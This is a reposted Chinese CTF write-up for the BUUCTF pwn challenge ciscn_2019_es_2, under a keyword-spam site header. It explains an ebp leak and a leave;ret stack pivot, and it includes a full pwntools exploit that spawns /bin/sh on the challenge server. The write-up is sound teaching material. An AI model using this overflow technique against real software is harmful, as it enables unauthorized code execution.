分布式调度 canal安装 深度图像 jsf devise ide it教学视频 excel太长的文字隐藏 linux下载器 java常用的包 matlab求向量的模 mysql函数返回结果集 mysql临时表 python对象 java读文件 flash相册制作 java疯狂讲义 gilisoft 选择模拟位置信息应用 vs2003 特战英雄辅助 图片轮播代码 小洛快跑 梦幻手游助手 画图怎么添加文字 视频编辑专家下载 大势至usb监控 apihook img写盘工具 键盘指法练习游戏 ps高手教程 bootskin alert换行 寂静城 日志软件 小米账号怎么退出 分割字符串 max2014 x截屏 ps反光效果
当前位置: 首页 > 学习教程  > 编程语言

【BUUCTF】ciscn_2019_es_2

2020/12/28 19:38:27 文章标签:

【BUUCTF】ciscn_2019_es_2 看下程序 有两处read可以溢出,但只能溢出刚好盖到ebp和ret 由于memset只清了0x20,所以可以泄露出ebp 有system函数,但参数不对 思路:运用栈迁移,迁移到我们写入的前面的部分&#xff0…

【BUUCTF】ciscn_2019_es_2

看下程序
在这里插入图片描述
在这里插入图片描述
有两处read可以溢出,但只能溢出刚好盖到ebp和ret
由于memset只清了0x20,所以可以泄露出ebp
在这里插入图片描述
有system函数,但参数不对
在这里插入图片描述
思路:运用栈迁移,迁移到我们写入的前面的部分,写rop链,就可以开shell了
由于需要跳转到我们写入的前面的部分需要知道它的地址,地址=ebp地址-偏移。
用gdb-peda调试,断点设在vul函数,一步步跟进,可以输入aaaa
然后searchmem aaaa
stack 来查看栈状态

(这图可能有错,我也不确定)
偏移=0x8c-0x54=0x38

exp:

from pwn import*
r=remote('node3.buuoj.cn',27354)
elf=ELF('./ciscn_2019_es_2')
context.log_level = 'debug'
context.arch = elf.arch
r.send('a'*0x20+'b'*8)
r.recvuntil('bbbbbbbb')
ebp=u32(r.recv(4))
print hex(ebp)
system=p32(elf.sym['system'])
leave_ret=p32(0x080484b8)
pd='a'*4+system+p32(0)+p32(ebp-0x28)+'/bin/sh\0'
pd+='a'*0x10+p32(ebp-0x38)+leave_ret
r.send(pd)
r.interactive()

注:这里system的参数要的是/bin/sh的地址,所以要这样:p32(ebp-0x28)+’/bin/sh\0’
主要参考这位师傅的文章:
https://www.cnblogs.com/remon535/p/13507217.html


本文链接: http://www.dtmao.cc/news_show_550336.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?